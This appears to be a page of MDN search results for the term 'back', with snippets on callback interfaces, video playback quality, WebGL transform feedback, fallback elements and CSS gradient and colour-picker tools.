syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcall
backstruct; fields the data structure has the following fields: type always contains np_setwindow.
... description call
back structures are used to pass platform-specific information.
... the npsetwindowcall
backstruct object, allocated by the browser, contains information required for the ws_info field of an npwindow.
...see also npp_setwindow() npwindow npprintcall
backstruct npanycall
backstruct ...
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own
background theme themes are made up of a "header" graphic image file, which skins the default firefox ui
background.
... creating a theme header image the header image is displayed as the
background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... creating a theme footer image in older versions of firefox, or newer versions with certain add-ons installed, the footer image is displayed as the
background of the bottom of the browser window, behind the add-on and find bars.
... select text and tab colors — you can choose the tab ("
background") color and foreground text color that work best with your header image.
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
the debug.mstraceasynccall
backcompleted function indicates that an asynchronous operation has completed.
... syntax debug.mstraceasynccall
backcompleted() parameters asyncoperationid the id associated with the asynchronous operation.
... function asyncwrapperfunction() { var opid = debug.mstraceasyncoperationstarting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccall
backstarting(opid); // process result of async operation.
... }, function (error) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_error); debug.mstraceasynccall
backstarting(opid); }); debug.mstraceasynccall
backcompleted(); } function dosomethingasync() { return winjs.promise.as(true); } asyncwrapperfunction(); requirements supported in the internet explorer 11 standards document mode.
Debug.msUpdateAsyncCallbackRelation - Archive of obsolete content
the debug.msupdateasynccall
backrelation function updates the relationship status between a synchronous work item and the associated asynchronous operation.
... syntax debug.msupdateasynccall
backrelation(relatedasyncoperationid, relationtype) parameters relatedasyncoperationid the id associated with the asynchronous operation.
... remarks the synchronous work item is typically the call
back function for the asynchronous operation.
... the possible values for relationtype include: debug.ms_async_call
back_status_assign_delegate debug.ms_async_call
back_status_join debug.ms_async_call
back_status_chooseany debug.ms_async_call
back_status_cancel debug.ms_async_call
back_status_error for more information, see debug constants.
HTMLIFrameElement.getCanGoBack()
the getcango
back() method of the htmliframeelement interface is used to indicate whether it's possible to go
back in the navigation history of the browser <iframe>.
... syntax instanceofhtmliframeelement.getcango
back() .then(function(result) { ...
... }); returns a promise that resolves with a boolean that equals true if the history can be navigated
backward or false if not.
... example function canmovebwd() { browser.getcango
back().then(function(result) { if (result) {
back.disabled = false; console.log("it's possible to navigate the history
backward."); } else {
back.disabled = true; console.log("it's not possible to navigate the history
backward."); } }); } specification not part of any specification.
JS_GetFunctionCallback
returns the call
back currently configured to be called when javascript functions are invoked or exited, as established by a prior call to js_setfunctioncall
back.
... syntax jsfunctioncall
back js_getfunctioncall
back(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... description js_getfunctioncall
back returns the current function invocation call
back, or null if there isn't one set up.
... see also mxr id search for js_getfunctioncall
back js_setfunctioncall
back jsfunctioncall
back bug 1103269 ...
nsIMemoryMultiReporterCallback
xpcom/base/nsimemoryreporter.idlscriptable implement this interface to handle call
backs from nsimemorymultireporter instances.
... 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void call
back(in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure); methods call
back() called to provide information from a multi-reporter.
...void call
back( in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure ); parameters process the value of the process attribute for the memory reporter.
... closure an nsisupports object providing any additional data the call
back might need; you provide this when you call nsimemorymultireporter.collectreports().
HTMLMediaElement.defaultPlaybackRate - Web APIs
the htmlmediaelement.defaultplay
backrate property indicates the default play
back rate for the media.
... syntax var dspeed = video.defaultplay
backrate; audio.defaultplay
backrate = 1.0; value a double.
... example var obj = document.createelement('video'); console.log(obj.defaultplay
backrate); // 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultplay
backrate' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultplay
backrate' in that specification.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
the htmlvideoelement method getvideoplay
backquality() creates and returns a videoplay
backquality object containing metrics including how many frames have been lost.
... syntax videopq = videoelement.getvideoplay
backquality(); return value a videoplay
backquality object providing information about the video element's current play
back quality.
... example this example updates an element to indicate the total number of video frames that have elapsed so far in the play
back process.
... this value includes any dropped or corrupted frames, so it's not the same as "total number of frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplay
backquality(); counterelem.innertext = quality.totalvideoframes; specifications specification status comment media play
back qualitythe definition of 'htmlvideoelement.getvideoplay
backquality()' in that specification.
VideoPlaybackQuality.creationTime - Web APIs
the read-only creationtime property on the videoplay
backquality interface reports the number of milliseconds since the browsing context was created this quality sample was recorded.
... syntax value = videoplay
backquality.creationtime; value a domhighrestimestamp object which indicates the number of milliseconds that elapased between the time the browsing context was created and the time at which this sample of the video quality was obtained.
... example this example calls getvideoplay
backquality() to obtain a videoplay
backquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
... var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplay
backquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media play
back qualitythe definition of 'videoplay
backquality.corruptedvideoframes' in that specification.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
the read-only droppedvideoframes property of the videoplay
backquality interface returns the number of video frames which have been dropped rather than being displayed since the last time the media was loaded into the htmlvideoelement.
... syntax value = videoplay
backquality.droppedvideoframes; value an unsigned 64-bit value indicating the number of frames that have been dropped since the last time the media in the <video> element was loaded or reloaded.
... example this example calls getvideoplay
backquality() to obtain a videoplay
backquality object, then determines what percentage of frames have been dropped.
... var videoelem = document.getelementbyid("my_vid"); var percentelem = document.getelementbyid("percent"); var quality = videoelem.getvideoplay
backquality(); var droppercent = (quality.droppedvideoframes/quality.totalvideoframes)*100; percentelem.innertext = math.trunc(droppercent).tostring(10); specifications specification status comment media play
back qualitythe definition of 'videoplay
backquality.droppedvideoframes' in that specification.
VideoPlaybackQuality - Web APIs
a videoplay
backquality object is returned by the htmlvideoelement.getvideoplay
backquality() method and contains metrics that can be used to determine the play
back quality of a video.
... properties the videoplay
backquality interface doesn't inherit properties from any other interfaces.
... methods the videoplay
backquality interface has no methods, and does not inherit any.
... specifications specification status comment media play
back qualitythe definition of 'videoplay
backquality' in that specification.
WebGL2RenderingContext.beginTransformFeedback() - Web APIs
the webgl2renderingcontext.begintransformfeed
back() method of the webgl 2 api starts a transform feed
back operation.
... syntax void gl.begintransformfeed
back(primitivemode); parameters primitivemode a glenum specifying the output type of the primitives that will be recorded into the buffer objects that are bound for transform feed
back.
... examples var transformfeed
back = gl.createtransformfeed
back(); gl.bindtransformfeed
back(gl.transform_feed
back, transformfeed
back); gl.begintransformfeed
back(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); specifications specification status comment webgl 2.0the definition of 'begintransformfeed
back' in that specification.
... opengl es 3.0the definition of 'glbegintransformfeed
back' in that specification.
WebGL2RenderingContext.endTransformFeedback() - Web APIs
the webgl2renderingcontext.endtransformfeed
back() method of the webgl 2 api ends a transform feed
back operation.
... syntax void gl.endtransformfeed
back(); parameters none.
... examples var transformfeed
back = gl.createtransformfeed
back(); gl.bindtransformfeed
back(gl.transform_feed
back, transformfeed
back); gl.begintransformfeed
back(gl.triangles); gl.drawarrays(gl.triangles, 0, 3); gl.endtransformfeed
back(); specifications specification status comment webgl 2.0the definition of 'endtransformfeed
back' in that specification.
... opengl es 3.0the definition of 'glendtransformfeed
back' in that specification.
WebGL2RenderingContext.getTransformFeedbackVarying() - Web APIs
the webgl2renderingcontext.gettransformfeed
backvarying() method of the webgl 2 api returns information about varying variables from webgltransformfeed
back buffers.
... syntax webglactiveinfo gl.gettransformfeed
backvarying(program, index); parameters program a webglprogram.
... examples activeinfo = gl.gettransformfeed
backvarying(program, 0); specifications specification status comment webgl 2.0the definition of 'gettransformfeed
backvarying' in that specification.
... opengl es 3.0the definition of 'glgettransformfeed
backvarying' in that specification.
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
the webgl2renderingcontext.transformfeed
backvaryings() method of the webgl 2 api specifies values to record in webgltransformfeed
back buffers.
... syntax void gl.transformfeed
backvaryings(program, varyings, buffermode); parameters program a webglprogram.
... examples var transformfeed
back = gl.createtransformfeed
back(); gl.bindtransformfeed
back(gl.transform_feed
back, transformfeed
back); var transformfeed
backoutputs = ['gl_position', 'anotheroutput']; gl.transformfeed
backvaryings(shaderprog, transformfeed
backoutputs, gl.interleaved_attribs); gl.linkprogram(shaderprog); specifications specification status comment webgl 2.0the definition of 'transformfeed
backvaryings' in that specification.
... opengl es 3.0the definition of 'gltransformfeed
backvaryings' in that specification.
WebGLTransformFeedback - Web APIs
the webgltransformfeed
back interface is part of the webgl 2 api and enables transform feed
back, which is the process of capturing primitives generated by vertex processing.
... when working with webgltransformfeed
back objects, the following methods of the webgl2renderingcontext are useful: webgl2renderingcontext.createtransformfeed
back() webgl2renderingcontext.deletetransformfeed
back() webgl2renderingcontext.istransformfeed
back() webgl2renderingcontext.bindtransformfeed
back() webgl2renderingcontext.begintransformfeed
back() webgl2renderingcontext.endtransformfeed
back() webgl2renderingcontext.pausetransformfeed
back() webgl2renderingcontext.resumetransformfeed
back() webgl2renderingcontext.transformfeed
backvaryings() webgl2renderingcontext.gettransformfeed
backvarying() examples creating a webgltransformfeed
back object in this example, gl must be ...
...webgltransformfeed
back objects are not available in webgl 1.
... var transformfeed
back = gl.createtransformfeed
back(); specifications specification status comment webgl 2.0the definition of 'webgltransformfeed
back' in that specification.
HTMLIFrameElement.goBack()
the go
back() method of the htmliframeelement interface is used to navigate
backwards in the browser <iframe>'s history.
... syntax instanceofhtmliframeelement.go
back(); returns void.
... examples
back.addeventlistener('touchend',function() { browser.go
back(); }); specification not part of any specification.
nsIDOMGeoPositionCallback
the nsidomgeopositioncall
back interface is called when updated position information is available.
... you need to implement this interface to accept call
backs after using nsidomgeolocation.watchposition().
... dom/interfaces/geolocation/nsidomgeopositioncall
back.idlscriptable please add a summary to this article.
nsIHapticFeedback
xpcom/system/nsihapticfeed
back.idlscriptable implemented to provide support for haptic feed
back (that is, vibration support).
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeed
back;1 as a service: var hapticfeed
back = components.classes["@mozilla.org/widget/hapticfeed
back;1"] .getservice(components.interfaces.nsihapticfeed
back); once you have the service, you can initiate haptic feed
back (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeed
back.performsimpleaction(components.interfaces.nsihapticfeed
back.longpress); method overview void performsimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 ...
... methods performsimpleaction() perform haptic feed
back.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a call
back interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcall
back is defined for receiving requests and notifications to ime from gecko.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _call
back: function simpleime_call
back(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocompose = false; break; } return true; ...
... createinstance(components.interfaces.nsitextinputprocessor); } if (!this._tip.begininputtransaction(window, this._call
back)) { return false; } ...
CSSVariableReferenceValue.fallback - Web APIs
the fall
back read-only property of the cssvariablereferencevalue interface returns the custom property fall
back value of the cssvariablereferencevalue.
... syntax var fall
back = cssvariablereferencevalue.fall
back; value a cssunparsedvalue.
... specifications specification status comment css typed om level 1the definition of 'fall
back' in that specification.
HTMLMediaElement.disableRemotePlayback - Web APIs
the htmlmediaelement.disableremoteplay
back property determines whether the media element is allowed to have a remote play
back ui.
... syntax var remoteplay
backdisabled = element.disableremoteplay
back; value a boolean indicating whether the media element may have a remote play
back ui.
... (false means "not disabled", which means "enabled") example var obj = document.createelement('audio'); obj.disableremoteplay
back = true; specifications specification status comment remote play
back apithe definition of 'disableremoteplay
back' in that specification.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
the videoplay
backquality interface's read-only corruptedvideoframes property the number of corrupted video frames that have been received since the <video> element was last loaded or reloaded.
... syntax corruptframefount = videoplay
backquality.corruptedvideoframes; value the number of corrupted video frames that have been received since the <video> element was last loaded or reloaded.
... var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplay
backquality(); if (quality.corruptedvideoframes/quality.totalvideoframes > 0.05) { downgradevideo(videoelem); } specifications specification status comment media play
back qualitythe definition of 'videoplay
backquality: corruptedvideoframes' in that specification.
XRFrameRequestCallback - Web APIs
the xrframerequestcall
back is a call
back function passed into xrsession.requestanimationframe (part of webxr api) to obtain the current time and the current xrframe.
... syntax function xrframerequestcall
back(time, xrframe){ // process xrframe here } xrsession.requestanimationframe(xrframerequestcall
back) parameters domhighrestimestamp a timestamp corresponding to the returned xrframe.
... specifications specification status comment webxr device apithe definition of 'xrframerequestcall
back' in that specification.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
the internet explorer only html
background sound element (<bgsound>) sets up a sound file to play in the
background while the page is used; use <audio> instead.
... volume this attribute defines a number between -10,000 and 0 that determines the loudness of a page's
background sound.
... example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the
background in most browsers.
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
the <noembed> element is an obsolete, non-standard way to provide alternative, or "fall
back", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use.
... this element was deprecated in html 4.01 and above in favor of placing fall
back content between the opening and closing tags of an <object> element.
...use <object> instead, with fall
back content between the opening and closing tags of the element.
mozbrowseraudioplaybackchange
the mozbrowseraudioplay
backchange event is fired when audio starts or stops playing within a browser <iframe>.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseraudioplay
backchange", function(event) { console.log(event.details); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
browser.search.context.loadInBackground
browser.search.context.loadin
background controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the
background.
... type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the
background, focus stays on the current tab.
PR_CALLBACK
syntax #include <prtypes.h>type pr_call
backimplementation description functions that are implemented in an application (or shared library) that are intended to be called from another shared library (such as nspr) must be declared with the pr_call
back attribute.
...the pr_call
back attribute is included as part of the function's definition between its return value type and the function's name.
mozIStorageCompletionCallback
this interface should be implemented to handle call
backs from asynchronous storage api routines.
... storage/public/mozistoragecompletioncall
back.idlscriptable please add a summary to this article.
mozIStorageStatementCallback
the mozistoragestatementcall
back interface represents a call
back handler that the storage api calls with result, error, and completion notifications while handling asynchronous database queries.
... storage/public/mozistoragestatementcall
back.idlscriptable please add a summary to this article.
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefservice2.idlscriptable call
back used by nsicontentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
... this will be called exactly once for each method invocation, and afterward no other call
back methods will be called.
nsIDOMGeoPositionErrorCallback
the nsidomgeopositionerrorcall
back interface is used to represent an object that receives call
back notifications when geolocation errors occur.
... dom/interfaces/geolocation/nsidomgeopositionerrorcall
back.idlscriptable please add a summary to this article.
nsIFaviconDataCallback
it's up to the invoking method to state if the call
back is always invoked, or called on success only.
... this can be null if there is no associated favicon uri, or the call
back is notifying a failure.
nsIProtocolProxyCallback
netwerk/base/public/nsiprotocolproxycall
back.idlscriptable this interface serves as a closure for nsiprotocolproxyservice.asyncresolve().
... astatus the status of the call
back.
nsITimerCallback
xpcom/threads/nsitimer.idlscriptable defines the call
back interface for nsitimer events.
...void notify( in nsitimer timer ); parameters timer nsitimer the timer which has expired see also nsitimer nsitimercall
backfunc ...
AnimationPlaybackEvent.timelineTime - Web APIs
the timelinetime read-only property of the animationplay
backevent interface represents the time value of the animation's timeline at the moment the event is queued.
... specifications specification status comment web animationsthe definition of 'animationplay
backevent.timelinetime' in that specification.
VideoPlaybackQuality.totalFrameDelay - Web APIs
the videoplay
backquality.totalframedelay read-only property returns a double containing the sum of the frame delay since the creation of the associated htmlvideoelement.
... syntax value = videoplay
backquality.totalframedelay; example var videoelt = document.getelementbyid('my_vid'); var quality = videoelt.getvideoplay
backquality(); alert(quality.totalframedelay); ...
Background audio processing using AudioWorklet - Web APIs
the draw
back to scriptprocessornode was simple: it ran on the main thread, thus blocking everything else going on until it completed execution.
... the audio processor class must implement a process() method, which receives incoming audio data and writes
back out the data as manipulated by the processor.
<xsl:fallback> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:fall
back> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
... syntax <xsl:fall
back> template </xsl:fall
back> required attributes none.
backdrag - Archive of obsolete content
« xul reference home
backdrag type: boolean setting the
backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its
background area.
Index - Web APIs
62 animation api, animations, experimental, interface, reference, web animations, waapi, web animations api the animation interface of the web animations api represents a single animation player and provides play
back controls and a timeline for an animation node or source.
... 64 animation.cancel() api, animation, method, reference, web animations, cancel, waapi, web animations api the web animations api's cancel() method of the animation interface clears all keyframeeffects caused by this animation and aborts its play
back.
... 67 animation.finish() api, animation, finish, interface, method, reference, web animations, waapi, web animations api the finish() method of the web animations api's animation interface sets the current play
back time to the end of the animation corresponding to the current play
back direction.
...And 217 more matches
Parser API
visit estree spec for a community ast standard that includes latest ecmascript features and is
backward-compatible with spidermonkey format.
...the expected call
back methods are described under builder objects.
...builder objects may contain any of the call
back methods described in this section.
...And 74 more matches
sslfnc.html
ssl initialization functions ssl export policy functions ssl configuration functions ssl communication functions ssl functions used by call
backs ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl.
...default state is a third state similar to on, that provides
backward compatibility with older netscape server products.
... ssl_roll
back_detection disables detection of a roll
back attack.
...And 72 more matches
JavaScript Daemons Management - Archive of obsolete content
in computer science a daemon is a task that runs as a
background process, rather than being under the direct control of an interactive user.
...it also offers an alternative way to pass the this object to the call
back functions (see the "this" problem for details).
... about the “call
back arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support sending additional parameters to timers' call
back function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (commented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the ...
...And 66 more matches
Index
67 js::setlargeallocationfailurecall
back jsapi reference, reference, référence(2), spidermonkey if a large allocation fails when calling pod_{calloc,realloc}cangc, the js engine may call the large-allocation- failure call
back, if set, to allow the embedding to flush caches, possibly perform shrinking gcs, etc.
...the allocation will then be retried (and may still fail.) 68 js::setoutofmemorycall
back jsapi reference, reference, référence(2), spidermonkey unlike the error reporter, which is only called if the exception for an oom bubbles up and is not caught, the js::outofmemorycall
back is called immediately at the oom site to allow the embedding to capture the current state of heap allocation before anything is freed.
... if the large-allocation-failure call
back is called at all (not all allocation sites call the large-allocation-failure call
back on failure), it is called before the out-of-memory call
back; the out-of-memory call
back is only called if the allocation still fails after the large-allocation-failure call
back has returned.
...And 64 more matches
Index
the result is structured cloned
back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably.
... 71 monitoring http activity http gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a call
back as the transactions take place.
... 75 performance storage, toolkit api mozstorage uses sqlite as the database
backend.
...And 50 more matches
AddonManager
the majority of the methods are asynchronous meaning that results are delivered through call
backs passed to the method.
... the call
backs will be called just once but that may be before or after the method returns.
...getinstallforurl(in string url, in installcall
back?
...And 46 more matches
Index - Archive of obsolete content
72 console/trace
back functionality similar to python's trace
back module.
... 110 system/unload register call
backs that are called when a module is unloaded.
...it consists of a set of client machines that continuously build and test mozilla and report their results
back to a server that makes those results available via a web page.
...And 37 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
<div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> <div class="property"> <div class="name"> alpha
background </div> <div id="canvas-bg"></div> <div id="add-axis" class="button"> add line </div> </div> <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="c...
...ss-property"> <span class="property">
background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd;
background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area {
background: url("images/picker_mask.png");
background: -moz-linear-gradient(bott...
...om, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area {
background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%)...
...And 35 more matches
<color> - CSS: Cascading Style Sheets
a <color> may also include an alpha-channel transparency value, indicating how the color should composite with its
background.
...this makes the
background behind the colored item completely visible.
...it was a special keyword that could be used instead of a regular <color> value on two css properties:
background and border.
...And 35 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
if you want to enable this functionality on that browser, you must use a polyfill (see the call
back arguments section).
... var intervalid = window.setinterval(mycall
back, 500, 'parameter 1', 'parameter 2'); function mycall
back(a, b) { // your code here // parameters are purely optional.
...ter('#controls'); /* you can also change the frame rate value modifying the "rate" property; for example: */ // otwexample2.rate = 150; onload = function () { otwexample1.play(); otwexample2.play(); }; </script> <style type="text/css"> span.intlink, a, a:visited { cursor: pointer; color: #000000; text-decoration: underline; } #info { width: 180px; height: 150px; float: right;
background-color: #eeeeff; padding: 4px; overflow: auto; font-size: 12px; margin: 4px; border-radius: 5px; /* visibility: hidden; */ } </style> </head> <body> <p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">copyleft 2012 by <a href="https://developer.mozilla.org/" target="_blank">mozilla developer network</a></p> <p id="controls" style="text-align: cente...
...And 31 more matches
Color picker tool - CSS: Cascading Style Sheets
oid-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd;
background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightn...
...ess) */ .ui-color-picker .picking-area {
background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-pick...
...er[data-mode='hsl'] .picking-area {
background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%...
...And 31 more matches
nsIContentPrefService2
call
backs the methods of call
back objects are always called asynchronously.
... see nsicontentprefcall
back2 for more information about call
backs.
... method overview void addobserverforname(in astring name, in nsicontentprefobserver observer); void getbydomainandname(in astring domain, in astring name, in nsiloadcontext context, in nsicontentprefcall
back2 call
back); void getbysubdomainandname(in astring domain, in astring name, in nsiloadcontext context, in nsicontentprefcall
back2 call
back); nsicontentpref getcachedbydomainandname(in astring domain, in astring name, in nsiloadcontext context); void getcachedbysubdomainandname(in astring domain, in astring name, in nsiloadcontext context, out unsigned long len, [retval,array,size_is(len)] out nsicontentpref prefs); nsicontentpref getcachedglobal(in astring name, in nsiloadcontext context); ...
...And 29 more matches
Using CSS gradients - CSS: Cascading Style Sheets
gradients can be used anywhere you would use an <image>, such as in
backgrounds.
... <div class="simple-linear"></div> div { width: 120px; height: 120px; } .simple-linear {
background: linear-gradient(blue, pink); } changing the direction by default, linear gradients run from top to bottom.
... <div class="horizontal-gradient"></div> div { width: 120px; height: 120px; } .horizontal-gradient {
background: linear-gradient(to right, blue, pink); } diagonal gradients you can even make the gradient run diagonally, from corner to corner.
...And 28 more matches
Intersection Observer API - Web APIs
the intersection observer api lets code register a call
back function that is executed whenever an element they wish to monitor enters or exits another element (or the viewport), or when the amount by which the two intersect changes by a requested amount.
... one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more common use case of "if they intersect by somewhere around n%, i need to do something." intersection observer concepts and usage the intersection observer api allows you to configure a call
back that is called: (1) whenever one element, called the target, intersects either the device viewport or a specified element; for the purpose of this api, this is called the root element or root (2) and whenever the observer is asked to watch a target for the very first time typically, you'll want to watch for intersection changes with regard to the element's closest scrollable ancestor, or, if t...
... whether you're using the viewport or some other element as the root, the api works the same way, executing a call
back function you provide whenever the visibility of the target element changes so that it crosses desired amounts of intersection with the root.
...And 25 more matches
Box-shadow generator - CSS: Cascading Style Sheets
iv> </div> </div> <div id="output" class="category"> <div id="menu" class="menu"></div> <div class="title"> css code </div> <div class="group" style="border-top-left-radius: 0;"> <div class="output" data-topic="element" data-name="element" data-prop="width height
background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[""] position=[absolute] width height top left z-index
background-color box-shadow transform -webkit-transform -ms-transform"> </div> <div class="o...
...utput" data-topic="after" data-name="element:after" data-prop="content=[""] position=[absolute] width height top left z-index
background-color box-shadow transform -webkit-transform -ms-transform"> </div> </div> </div> </div> </div> </div> css content /* grid of twelve * ========================================================================== */ .span_12 { width: 100%; } .span_11 { width: 91.46%; } .span_10 { width: 83%; } .span_9 { width: 74.54%; } .span_8 { width: 66.08%; } .span_7 { width: 57.62%; } .span_6 { width: 49.16%; } .span_5 { width: 40.7%; } .span_4 { width: 32.24%; } .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* secti...
